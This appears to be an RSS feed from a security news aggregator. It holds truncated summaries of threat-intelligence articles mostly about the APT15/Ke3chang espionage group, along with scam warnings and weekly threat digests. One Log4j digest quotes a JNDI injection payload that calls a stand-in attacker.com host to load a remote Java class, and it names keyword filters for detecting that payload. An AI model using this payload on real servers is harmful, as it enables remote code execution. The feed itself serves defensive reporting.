This is the RSS 2.0 feed from www.secnews.physaphae.fr. IT's a simple agragated flow of multiple articles soruces. Liste of sources, can be found on www.secnews.physaphae.fr. 2025-05-10T23:11:45+00:00 www.secnews.physaphae.fr RiskIQ - cyber risk firms (now microsoft) 2024-12-12T20:36:12+00:00 https://community.riskiq.com/article/2b3cb06d www.secnews.physaphae.fr/article.php?IdArticle=8624235 False Malware,Tool,Threat,Legislation,Mobile APT 15 3.0000000000000000 Mandiant - Blog Sécu de Mandiant   Executive Summary  Mandiant assesses with high confidence that the Paris Olympics faces an elevated risk of cyber threat activity, including cyber espionage, disruptive and destructive operations, financially-motivated activity, hacktivism, and information operations.  Olympics-related cyber threats could realistically impact various targets including event organizers and sponsors, ticketing systems, Paris infrastructure, and athletes and spectators traveling to the event.  Mandiant assesses with high confidence that Russian threat groups pose the highest risk to the Olympics. While China, Iran, and North Korea state sponsored actors also pose a moderate to low risk. To reduce the risk of cyber threats associated with the Paris Olympics, organizations should update their threat profiles, conduct security awareness training, and consider travel-related cyber risks. The security community is better prepared for the cyber threats facing the Paris Olympics than it has been for previous Games, thanks to the insights gained from past events. While some entities may face unfamiliar state-sponsored threats, many of the cybercriminal threats will be familiar. While the technical disruption caused by hacktivism and information operations is often temporary, these operations can have an outsized impact during high-profile events with a global audience. Introduction  The 2024 Summer Olympics taking place in Paris, France between July and August creates opportunities for a range of cyber threat actors to pursue profit, notoriety, and intelligence. For organizations involved in the event, understanding relevant threats is key to developing a resilient security posture. Defenders should prepare against a variety of threats that will likely be interested in targeting the Games for different reasons:  Cyber espionage groups are likely to target the 2024 Olympics for information gathering purposes, due to the volume of government officials and senior decision makers attending. Disruptive and destructive operations could potentially target the Games to cause negative psychological effects and reputational damage. This type of activity could take the form of website defacements, distributed denial of service (DDoS) attacks, the deployment of wiper malware, and operational technology (OT) targeting. As a high profile, large-scale sporting event with a global audience, the Olympics represents an ideal stage for such operations given that the impact of any disruption would be significantly magnified.  Information operations will likely leverage interest in the Olympics to spread narratives and disinformation to target audiences. In some cases, threat actors may leverage disruptive and destructive attacks to amplify the spread of particular narratives in hybrid operations. Financially-motivated actors are likely to target the Olympics in v]]> 2024-06-05T14:00:00+00:00 https://cloud.google.com/blog/topics/threat-intelligence/cyber-threats-2024-paris-olympics/ www.secnews.physaphae.fr/article.php?IdArticle=8513588 False Ransomware,Malware,Threat,Studies,Mobile,Cloud,Technical APT 15,APT 31,APT 42 2.0000000000000000 Mandiant - Blog Sécu de Mandiant   Mandiant Intelligence is tracking a growing trend among China-nexus cyber espionage operations where advanced persistent threat (APT) actors utilize proxy networks known as “ORB networks” (operational relay box networks) to gain an advantage when conducting espionage operations. ORB networks are akin to botnets and are made up of virtual private servers (VPS), as well as compromised Internet of Things (IoT) devices, smart devices, and routers that are often end of life or unsupported by their manufacturers. Building networks of compromised devices allows ORB network administrators to easily grow the size of their ORB network with little effort and create a constantly evolving mesh network that can be used to conceal espionage operations.  By using these mesh networks to conduct espionage operations, actors can disguise external traffic between command and control (C2) infrastructure and victim environments including vulnerable edge devices that are being exploited via zero-day vulnerabilities.  These networks often use both rented VPS nodes in combination with malware designed to target routers so they can grow the number of devices capable of relaying traffic within compromised networks.  Mandiant assesses with moderate confidence that this is an effort to raise the cost of defending an enterprise\'s network and shift the advantage toward espionage operators by evading detection and complicating attribution. Mandiant believes that if network defenders can shift the current enterprise defense paradigm away from treating adversary infrastructure like indicators of compromise (IOCs) and instead toward tracking ORB networks like evolving entities akin to APT groups, enterprises can contend with the rising challenge of ORB networks in the threat landscape. IOC Extinction and the Rise of ORB Networks The cybersecurity industry has reported on the APT practice of ORB network usage in the past as well as on the functional implementation of these networks. Less discussed are the implications of broad ORB network usage by a multitude of China-nexus espionage actors, which has become more common over recent years. The following are three key points and paradigm shifting implications about ORB networks that require enterprise network defenders to adapt the way they think about China-nexus espionage actors: ORB networks undermine the idea of “Actor-Controlled Infrastructure”: ORB networks are infrastructure networks administered by independent entities, contractors, or administrators within the People\'s Republic of China (PRC). They are not controlled by a single APT actor. ORB networks create a network interface, administer a network of compromised nodes, and contract access to those networks to multiple APT actors that will use the ORB networks to carry out their own distinct espionage and reconnaissance. These networks are not controlled by APT actors using them, but rather are temporarily used by these APT actors often to deploy custom tooling more conventionally attributable to known China-nexus adversaries. ORB network infrastructure has a short lifesp]]> 2024-05-22T14:00:00+00:00 https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks/ www.secnews.physaphae.fr/article.php?IdArticle=8504765 False Malware,Tool,Vulnerability,Threat,Prediction,Cloud,Commercial APT 15,APT 5,APT 31 3.0000000000000000 Global Security Mag - Site de news francais Malwares]]> 2023-08-31T09:18:59+00:00 https://www.globalsecuritymag.fr/ESET-decouvre-un-groupe-d-espionnage-aligne-avec-les-interets-chinois-usurpant.html www.secnews.physaphae.fr/article.php?IdArticle=8377106 False Malware APT 15 2.0000000000000000 knowbe4 - cybersecurity services CyberheistNews Vol 13 #26  |   June 27th, 2023 [Eyes Open] The FTC Reveals the Latest Top Five Text Message Scams The U.S. Federal Trade Commission (FTC) has published a data spotlight outlining the most common text message scams. Phony bank fraud prevention alerts were the most common type of text scam last year. "Reports about texts impersonating banks are up nearly tenfold since 2019 with median reported individual losses of $3,000 last year," the report says. These are the top five text scams reported by the FTC: Copycat bank fraud prevention alerts Bogus "gifts" that can cost you Fake package delivery problems Phony job offers Not-really-from-Amazon security alerts "People get a text supposedly from a bank asking them to call a number ASAP about suspicious activity or to reply YES or NO to verify whether a transaction was authorized. If they reply, they\'ll get a call from a phony \'fraud department\' claiming they want to \'help get your money back.\' What they really want to do is make unauthorized transfers. "What\'s more, they may ask for personal information like Social Security numbers, setting people up for possible identity theft." Fake gift card offers took second place, followed by phony package delivery problems. "Scammers understand how our shopping habits have changed and have updated their sleazy tactics accordingly," the FTC says. "People may get a text pretending to be from the U.S. Postal Service, FedEx, or UPS claiming there\'s a problem with a delivery. "The text links to a convincing-looking – but utterly bogus – website that asks for a credit card number to cover a small \'redelivery fee.\'" Scammers also target job seekers with bogus job offers in an attempt to steal their money and personal information. "With workplaces in transition, some scammers are using texts to perpetrate old-school forms of fraud – for example, fake \'mystery shopper\' jobs or bogus money-making offers for driving around with cars wrapped in ads," the report says. "Other texts target people who post their resumes on employment websites. They claim to offer jobs and even send job seekers checks, usually with instructions to send some of the money to a different address for materials, training, or the like. By the time the check bounces, the person\'s money – and the phony \'employer\' – are long gone." Finally, scammers impersonate Amazon and send fake security alerts to trick victims into sending money. "People may get what looks like a message from \'Amazon,\' asking to verify a big-ticket order they didn\'t place," the FTC says. "Concerned ]]> 2023-06-27T13:00:00+00:00 https://blog.knowbe4.com/cyberheistnews-vol-13-26-eyes-open-the-ftc-reveals-the-latest-top-five-text-message-scams www.secnews.physaphae.fr/article.php?IdArticle=8349704 False Ransomware,Spam,Malware,Hack,Tool,Threat FedEx,APT 28,APT 15,ChatGPT,ChatGPT 2.0000000000000000 Dark Reading - Informationweek Branch The notorious APT15 used common malware tools and a third-generation custom "Graphican" backdoor to continue its information gathering exploits, this time against foreign ministries.]]> 2023-06-21T21:35:00+00:00 https://www.darkreading.com/vulnerabilities-threats/20-year-old-chinese-apt15-new-life-foreign-ministry-attacks www.secnews.physaphae.fr/article.php?IdArticle=8347850 False Malware APT 15,APT 15 2.0000000000000000 Bleeping Computer - Magazine Américain The Chinese state-sponsored hacking group tracked as APT15 has been observed using a novel backdoor named \'Graphican\' in a new campaign between late 2022 and early 2023. [...]]]> 2023-06-21T06:00:00+00:00 https://www.bleepingcomputer.com/news/security/chinese-apt15-hackers-resurface-with-new-graphican-malware/ www.secnews.physaphae.fr/article.php?IdArticle=8347642 False Malware APT 15,APT 15 3.0000000000000000 Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Roaming Mantis Implements New DNS Changer in Its Malicious Mobile App in 2022 (published: January 19, 2023) In December 2022, a financially-motivated group dubbed Roaming Mantis (Shaoye) continued targeting mobile users with malicious landing pages. iOS users were redirected to phishing pages, while Android users were provided with malicious APK files detected as XLoader (Wroba, Moqhao). Japan, Austria, France, and Germany were the most targeted for XLoader downloads (in that order). All but one targeted country had smishing as an initial vector. In South Korea, Roaming Mantis implemented a new DNS changer function. XLoader-infected Android devices were targeting specific Wi-Fi routers used mostly in South Korea. The malware would compromise routers with default credentials and change the DNS settings to serve malicious landing pages from legitimate domains. Analyst Comment: The XLoader DNS changer function is especially dangerous in the context of free/public Wi-Fi that serve many devices. Install anti-virus software for your mobile device. Users should be cautious when receiving messages with a link or unwarranted prompts to install software. MITRE ATT&CK: [MITRE ATT&CK] T1078.001 - Valid Accounts: Default Accounts | [MITRE ATT&CK] T1584 - Compromise Infrastructure Tags: actor:Roaming Mantis, actor:Shaoye, file-type:APK, detection:Wroba, detection:Moqhao, detection:XLoader, malware-type:Trojan-Dropper, DNS changer, Wi-Fi routers, ipTIME, EFM Networks, Title router, DNS hijacking, Malicious app, Smishing, South Korea, target-country:KR, Japan, target-country:JP, Austria, target-country:AT, France, target-country:FR, Germany, target-country:DE, VK, Mobile, Android Hook: a New Ermac Fork with RAT Capabilities (published: January 19, 2023) ThreatFabric researchers analyzed a new Android banking trojan named Hook. It is a rebranded development of the Ermac malware that was based on the Android banker Cerberus. Hook added new capabilities in targeting banking and cryptocurrency-related applications. The malware also added capabilities of a remote access trojan and a spyware. Its device take-over capabilities include being able to remotely view and interact with the screen of the infected device, manipulate files on the devices file system, simulate clicks, fill text boxes, and perform gestures. Hook can start the social messaging application WhatsApp, extract all the messages present, and send new ones. Analyst Comment: Users should take their mobile device security seriously whether they use it for social messaging or actually provide access to their banking accounts and/or cryptocurrency holdings. Similar to its predecessors, Hook will likely be used by many threat actors (malware-as-as-service model). It means the need to protect from a wide range of attacks: smishing, prompts to install malicious apps, excessive]]> 2023-01-24T16:30:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-roaming-mantis-changes-dns-on-wi-fi-routers-hook-android-banking-trojan-has-device-take-over-capabilities-ke3chang-targeted-iran-with-updated-turian-backdoor www.secnews.physaphae.fr/article.php?IdArticle=8303740 False Malware,Tool,Threat,Guideline APT 15,APT 25 3.0000000000000000 CSO - CSO Daily Dashboard Palo Alto Networks report. The Chinese threat actor also known as APT15, KeChang, NICKEL, BackdoorDiplomacy, and Vixen Panda, was observed attempting to connect government domains to malware infrastructure previously associated with the APT group, according to the report.“Playful Taurus continues to evolve their tactics and their tooling. Recent upgrades to the Turian backdoor and new C2 infrastructure suggest that these actors continue to see success during their cyber espionage campaigns,” Palo Alto Networks said in a blog. To read this article in full, please click here]]> 2023-01-19T04:27:00+00:00 https://www.csoonline.com/article/3686088/chinese-hackers-targeted-iranian-government-entities-for-months-report.html#tk.rss_all www.secnews.physaphae.fr/article.php?IdArticle=8302529 False Malware,Threat APT 15,APT 25 3.0000000000000000 InfoSecurity Mag - InfoSecurity Magazine 2022-12-09T16:00:00+00:00 https://www.infosecurity-magazine.com/news/iranian-hacker-uses-github-to/ www.secnews.physaphae.fr/article.php?IdArticle=8289582 False Malware APT 15 3.0000000000000000 Global Security Mag - Site de news francais Malwares]]> 2022-12-09T11:17:25+00:00 https://www.globalsecuritymag.fr/Un-groupe-soutenu-par-l-Iran-utilise-Github-pour-relayer-les-instructions-de.html www.secnews.physaphae.fr/article.php?IdArticle=8289522 False Malware APT 15 2.0000000000000000 SecureWork - SecureWork: incident response 2022-12-09T04:00:00+00:00 https://www.secureworks.com/blog/drokbk-malware-uses-github-as-dead-drop-resolver www.secnews.physaphae.fr/article.php?IdArticle=8289504 False Malware,Threat APT 15 2.0000000000000000 Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Hacker Pwns Uber Via Compromised VPN Account (published: September 16, 2022) On September 15, 2022, ride-sharing giant Uber started an incident response after discovering a data breach. According to Group-IB researchers, download file name artifacts point to the attacker getting access to fresh keylogger logs affecting two Uber employees from Indonesia and Brazil that have been infected with Racoon and Vidar stealers. The attacker allegedly used a compromised VPN account credentials and performed multifactor authentication fatigue attack by requesting the MFA push notification many times and then making a social-engineering call to the affected employee. Once inside, the attacker allegedly found valid credentials for privilege escalation: a PowerShell script containing hardcoded credentials for a Thycotic privileged access management admin account. On September 18, 2022, Rockstar Games’ Grand Theft Auto 6 suffered a confirmed data leak, likely caused by the same attacker. Analyst Comment: Network defenders can consider setting up alerts for signs of an MFA fatigue attack such as a large number of MFA requests in a relatively short period of time. Review your source code for embedded credentials, especially those with administrative privileges. MITRE ATT&CK: [MITRE ATT&CK] Valid Accounts - T1078 | [MITRE ATT&CK] Credentials from Password Stores - T1555 Tags: MFA fatigue, Social engineering, Data breach, Uber, GTA 6, GTA VI, detection:Racoon, detection:Vidar, malware-type:Keylogger, malware-type:Stealer Self-Spreading Stealer Attacks Gamers via YouTube (published: September 15, 2022) Kaspersky researchers discovered a new campaign spreading the RedLine commodity stealer. This campaign utilizes a malicious bundle: a single self-extracting archive. The bundle delivers RedLine and additional malware, which enables spreading the malicious archive by publishing promotional videos on victim’s Youtube channel. These videos target gamers with promises of “cheats” and “cracks.” Analyst Comment: Kids and other online gamers should be reminded to avoid illegal software. It might be better to use different machines for your gaming and banking activities. MITRE ATT&CK: [MITRE ATT&CK] User Execution - T1204 | [MITRE ATT&CK] Credentials from Password Stores - T1555 | [MITRE ATT&CK] Resource Hijacking - T1496 Tags: detection:RedLine, malware-type:Stealer, Bundle, Self-spreading, Telegraph, Youtub]]> 2022-09-20T15:00:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-uber-and-gta-6-were-breached-redline-bundle-file-advertises-itself-on-youtube-supply-chain-attack-via-ecommerce-fishpig-extensions-and-more www.secnews.physaphae.fr/article.php?IdArticle=7016803 False Ransomware,Malware,Tool,Vulnerability,Threat,Guideline Uber,Uber,APT 41,APT 15 None NoticeBored - Experienced IT Security professional glossy, nicely-constructed and detailed PowerPoint slide deck by Microsoft Security caught my beady this morning. The title 'CISO Workshop: Security Program and Strategy' with 'Your Name Here' suggests it might be a template for use in a workshop/course bringing CISOs up to speed on the governance, strategic and architectural aspects of information security, but in fact given the amount of technical detail, it appears to be aimed at informing IT/technology managers about IT or cybersecurity, specifically. Maybe it is intended for newly-appointed CISOs or more junior managers who aspire to be CISOs, helping them clamber up the pyramid (slide 87 of 142):]]> 2022-08-06T10:46:21+00:00 http://blog.noticebored.com/2022/08/a-glossy-nicely-constructed-and.html www.secnews.physaphae.fr/article.php?IdArticle=6150878 False Malware,Vulnerability,Threat,Patching,Guideline,Medical,Cloud Uber,APT 38,APT 37,APT 28,APT 19,APT 15,APT 10,APT 34,Guam None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence COBALT MIRAGE Conducts Ransomware Operations in U.S. (published: May 12, 2022) Secureworks researchers describe campaigns by Iran-sponsored group Cobalt Mirage. These actors are likely part of a larger group, Charming Kitten (Phosphorus, APT35, Cobalt Illusion). In 2022, Cobalt Mirage deployed BitLocker ransomware on a US charity systems, and exfiltrated data from a US local government network. Their ransomware operations appear to be a low-scale, hands-on approach with rare tactics such as sending a ransom note to a local printer. The group utilized its own custom binaries including a Fast Reverse Proxy client (FRPC) written in Go. It also relied on mass scanning for known vulnerabilities (ProxyShell, Log4Shell) and using commodity tools for encryption, internal scanning, and lateral movement. Analyst Comment: However small your government or NGO organization is, it still needs protection from advanced cyber actors. Keep your system updated, and employ mitigation strategies when updates for critical vulnerabilities are not available. MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Modify Registry - T1112 | [MITRE ATT&CK] Create Account - T1136 | [MITRE ATT&CK] Account Manipulation - T1098 | [MITRE ATT&CK] Proxy - T1090 | [MITRE ATT&CK] Data Encrypted for Impact - T1486 Tags: Cobalt Mirage, Phosphorous, Cobalt Illusion, TunnelVision, Impacket, wmiexec, Softperfect network scanner, LSASS, RDP, Powershell, BitLocker, Ransomware, Fast Reverse Proxy client, FRP, FRPC, Iran, source-country:IR, USA, target-country:US, Cyberespionage, Government, APT, Go, Log4j2, ProxyShell, CVE-2021-34473, CVE-2021-45046, CVE-2021-44228, CVE-2020-12812, CVE-2021-31207, CVE-2018-13379, CVE-2021-34523, CVE-2019-5591 SYK Crypter Distributing Malware Families Via Discord (published: May 12, 2022) Morphisec researchers discovered a new campaign abusing popular messaging platform Discord content distribution network (CDN). If a targeted user activates the phishing attachment, it starts the DNetLoader malware that reaches out to the hardcoded Discord CDN link and downloads a next stage crypter such as newly-discovered SYK crypter. SYK crypter is being loaded into memory where it decrypts its configuration and the next stage payload using hardcoded keys and various encryption methods. It detects and impairs antivirus solutions and checks for d]]> 2022-05-17T15:01:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-costa-rica-in-ransomware-emergency-charming-kitten-spy-and-ransom-saitama-backdoor-hides-by-sleeping-and-more www.secnews.physaphae.fr/article.php?IdArticle=4668209 False Ransomware,Malware,Tool,Vulnerability,Threat,Conference APT 35,APT 15,APT 34 None The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2022-05-12T06:56:45+00:00 https://thehackernews.com/2022/05/iranian-hackers-leveraging-bitlocker.html www.secnews.physaphae.fr/article.php?IdArticle=4583977 False Ransomware,Malware,Threat,Conference APT 35,APT 15 4.0000000000000000 Fortinet ThreatSignal - Harware Vendor 2022-03-10T23:39:03+00:00 https://fortiguard.fortinet.com/threat-signal-report/4449 www.secnews.physaphae.fr/article.php?IdArticle=4258974 False Malware,Tool,Vulnerability,Threat,Guideline APT 41,APT 15,APT 15 None knowbe4 - cybersecurity services [Heads Up] FBI Warns Against New Criminal QR Code Scams   Email not displaying? | CyberheistNews Vol 12 #07  |   Feb. 15th., 2022 [Heads Up] FBI Warns Against New Criminal QR Code Scams QR codes have been around for many years. While they were adopted for certain niche uses, they never did quite reach their full potential. They are a bit like Rick Astley in that regard, really popular for one song, but well after the boat had sailed. Do not get me wrong, Rick Astley achieved a lot. In recent years, he has become immortalized as a meme and Rick roller, but he could have been so much more. However, in recent years, with lockdown and the drive to keep things at arms length, QR codes have become an efficient way to facilitate contactless communications, or the transfer of offers without physically handing over a coupon. As this has grown in popularity, more people have become familiar with how to generate their own QR codes and how to use them as virtual business cards, discount codes, links to videos and all sorts of other things. QRime Codes As with most things, once they begin to gain a bit of popularity, criminals move in to see how they can manipulate the situation to their advantage. Recently, we have seen fake QR codes stuck to parking meters enticing unwitting drivers to scan the code, and hand over their payment details believing they were paying for parking, whereas they were actually handing over their payment information to criminals. The rise in QR code fraud resulted in the FBI releasing an advisory warning against fake QR codes that are being used to scam users. In many cases, a fake QR code will lead people to a website that looks like the intended legitimate site. So, the usual verification process of checking the URL and any other red flags apply. CONTINUED with links and 4 example malicious QR codes on the KnowBe4 blog: https://blog.knowbe4.com/qr-codes-in-the-time-of-cybercrime ]]> 2022-02-15T14:24:51+00:00 https://blog.knowbe4.com/cyberheistnews-vol-12-07-heads-up-fbi-warns-against-new-criminal-qr-code-scams www.secnews.physaphae.fr/article.php?IdArticle=4133418 False Ransomware,Data Breach,Spam,Malware,Threat,Guideline APT 15,APT 43 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit (published: December 10, 2021) A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code. Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable. MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Remote Services - T1021 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Resource Hijacking - T1496 | [MITRE ATT&CK] Network Denial of Service - T1498 Tags: Log4j, CVE-2021-44228, Log4j2, Log4Shell, Apache, Zero-day, Java, Jndi, Class file Over a Dozen Malicious NPM Packages Caught Hijacking Discord Servers (published: December 8, 2021) Researchers from the DevOps firm JFrog has found at least 17 malicious packages on the open source npm Registry for JavaScript. The names of the packages are: prerequests-xcode (version 1.0.4), discord-selfbot-v14 (version 12.0.3), discord-lofy (version 11.5.1), discordsystem (version 11.5.1), discord-vilao (version 1.0.0), fix-error (version 1]]> 2021-12-15T16:00:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-apache-log4j-zero-day-exploit-google-fighting-glupteba-botnet-vixen-panda-targets-latin-america-and-europe-and-more www.secnews.physaphae.fr/article.php?IdArticle=3800465 False Malware,Tool,Vulnerability,Threat,Cloud APT 37,APT 29,APT 15,APT 15,APT 25 None Fortinet ThreatSignal - Harware Vendor 2021-12-07T15:08:56+00:00 https://www.fortiguard.com/threat-signal-report/4330 www.secnews.physaphae.fr/article.php?IdArticle=3791016 False Malware,Patching,Guideline APT 15,APT 25 4.0000000000000000 Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Current Anomali ThreatStream users can query these indicators under the “anomali cyber watch” tag. Trending Cyber News and Threat Intelligence S.O.V.A. – A New Android Banking Trojan with Fowl Intentions (published: September 10, 2021) ThreatFabric researchers have discovered a new Android banking trojan called S.O.V.A. The malware is still in the development and testing phase and the threat actor is publicly-advertising S.O.V.A. for trial runs targeting banks to improve its functionality. The trojan’s primary objective is to steal personally identifiable information (PII). This is conducted through overlay attacks, keylogging, man-in-the-middle attacks, and session cookies theft, among others. The malware author is also working on other features such as distributed denial-of-service (DDoS) and ransomware on S.O.V.A.’s project roadmap. Analyst Comment: Always keep your mobile phone fully patched with the latest security updates. Only use official locations such as the Google Play Store / Apple App Store to obtain your software, and avoid downloading applications, even if they appear legitimate, from third-party stores. Furthermore, always review the permissions an app will request upon installation. MITRE ATT&CK: [MITRE ATT&CK] Input Capture - T1056 | [MITRE ATT&CK] Man-in-the-Middle - T1557 | [MITRE ATT&CK] Steal Web Session Cookie - T1539 | [MITRE ATT&CK] Network Denial of Service - T1498 | [MITRE ATT&CK] Data Encrypted for Impact - T1486 Tags: Android, Banking trojan, S.O.V.A., Overlay, Keylogging, Cookies, Man-in-the-Middle Finding Azurescape – Cross-Account Container Takeover in Azure Container Instances (published: September 9, 2021) Unit 42 researchers identified and disclosed critical security issues in Microsoft’s Container-as-a-Service (CaaS) offering that is called Azure Container Instances (ACI). A malicious Azure user could have compromised the multitenant Kubernetes clusters hosting ACI, establishing full control over other users' containers. Researchers gave the vulnerability a specific name, Azurescape, highlighting its significance: it the first cross-account container takeover in the public cloud. Analyst Comment: Azurescape vulnerabilities could have allowed an attacker to execute code on other users' containers, steal customer secrets and images deployed to the platform, and abuse ACI's infrastructure processing power. Microsoft patched ACI shortly after the discl]]> 2021-09-14T15:00:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-azurescape-cloud-threat-mshtml-0-day-in-the-wild-confluence-cloud-hacked-to-mine-monero-and-more www.secnews.physaphae.fr/article.php?IdArticle=3369753 False Ransomware,Spam,Malware,Tool,Vulnerability,Threat,Guideline Uber,APT 41,APT 15 None ZD Net - Magazine Info 2020-07-02T01:25:33+00:00 https://www.zdnet.com/article/connection-discovered-between-chinese-hacker-group-apt15-and-defense-contractor/#ftag=RSSbaffb68 www.secnews.physaphae.fr/article.php?IdArticle=1784728 False Malware APT 15 None Security Affairs - Blog Secu 2020-05-28T07:51:22+00:00 https://securityaffairs.co/wordpress/103903/apt/ke3chang-group-ketrum-backdoor.html?utm_source=rss&utm_medium=rss&utm_campaign=ke3chang-group-ketrum-backdoor www.secnews.physaphae.fr/article.php?IdArticle=1737959 False Malware APT 15,APT 25 None Bleeping Computer - Magazine Américain 2020-05-26T11:22:03+00:00 https://www.bleepingcomputer.com/news/security/hacking-group-builds-new-ketrum-malware-from-recycled-backdoors/ www.secnews.physaphae.fr/article.php?IdArticle=1735030 False Malware APT 15,APT 25 None NoticeBored - Experienced IT Security professional At the bottom of a Travelex update on their incident, I spotted this yesterday:Customer PrecautionsBased on the public attention this incident has received, individuals may try to take advantage of it and attempt some common e-mail or telephone scams. Increased awareness and vigilance are key to detecting and preventing this type of activity. As a precaution, if you receive a call from someone claiming to be from Travelex that you are not expecting or you are unsure about the identity of a caller, you should end the call and call back on 0345 872 7627. If you have any questions or believe you have received a suspicious e-mail or telephone call, please do not hesitate to contact us. Although I am not personally aware of any such 'e-mail or telephone scams', Travelex would know better than me - and anyway even if there have been no scams as yet, the warning makes sense: there is indeed a known risk of scammers exploiting major, well-publicised incidents such as this. We've seen it before, such as fake charity scams taking advantage of the public reaction to natural disasters such as the New Orleans floods, and - who knows - maybe the Australian bushfires.At the same time, this infosec geek is idly wondering whether the Travelex warning message and web page are legitimate. It is conceivable that the cyber-criminals and hackers behind the ransomware incident may still have control of the Travelex domains, webservers and/or websites, perhaps all their corporate comms including the Travelex Twitter feeds and maybe even the switchboard behind that 0345 number. I'm waffling on about corporate identity theft, flowing on from the original incident.I appreciate the scenario I'm postulating seems unlikely but bear with me and my professional paranoia for a moment. Let's explore the hypot]]> 2020-01-22T09:00:00+00:00 http://feedproxy.google.com/~r/NoticeBored/~3/tIKSOS4dN4A/nblog-jan-22-further-lessons-from.html www.secnews.physaphae.fr/article.php?IdArticle=1503295 False Ransomware,Malware,Patching,Guideline APT 15 None IT Security Guru - Blog Sécurité 2019-07-19T14:35:01+00:00 https://www.itsecurityguru.org/2019/07/19/malware-that-waits-for-three-mouse-clicks-before-running/ www.secnews.physaphae.fr/article.php?IdArticle=1214430 False Malware,Threat APT 15,APT 25 2.0000000000000000 We Live Security - Editeur Logiciel Antivirus ESET Tracking the malicious activities of the elusive Ke3chang APT group, ESET researchers have discovered new versions of malware families linked to the group, and a previously unreported backdoor ]]> 2019-07-18T09:30:01+00:00 https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/ www.secnews.physaphae.fr/article.php?IdArticle=1212162 False Malware APT 15,APT 25 None Bleeping Computer - Magazine Américain 2019-07-18T07:03:00+00:00 https://www.bleepingcomputer.com/news/security/new-okrum-malware-used-by-ke3chang-group-to-target-diplomats/ www.secnews.physaphae.fr/article.php?IdArticle=1212312 False Malware,Threat APT 15,APT 25 None NoticeBored - Experienced IT Security professional That's it, we're done! The 2018 malware awareness module is on its way to NoticeBored subscribers, infecting customers with ... our passion for the topic.There are 28 different types of awareness and training material, in three parallel streams as always: Stream A: security awareness materials for staff/all employees [if !supportLists]-->1.      [endif]-->Train-the-trainer guide on malware MS Word document [if gte vml 1]> ]]> 2018-02-28T21:54:40+00:00 http://feedproxy.google.com/~r/NoticeBored/~3/lGwDU0lQ3UU/nblog-march-1-invasion-of-cryptominers.html www.secnews.physaphae.fr/article.php?IdArticle=492308 False Malware APT 15 None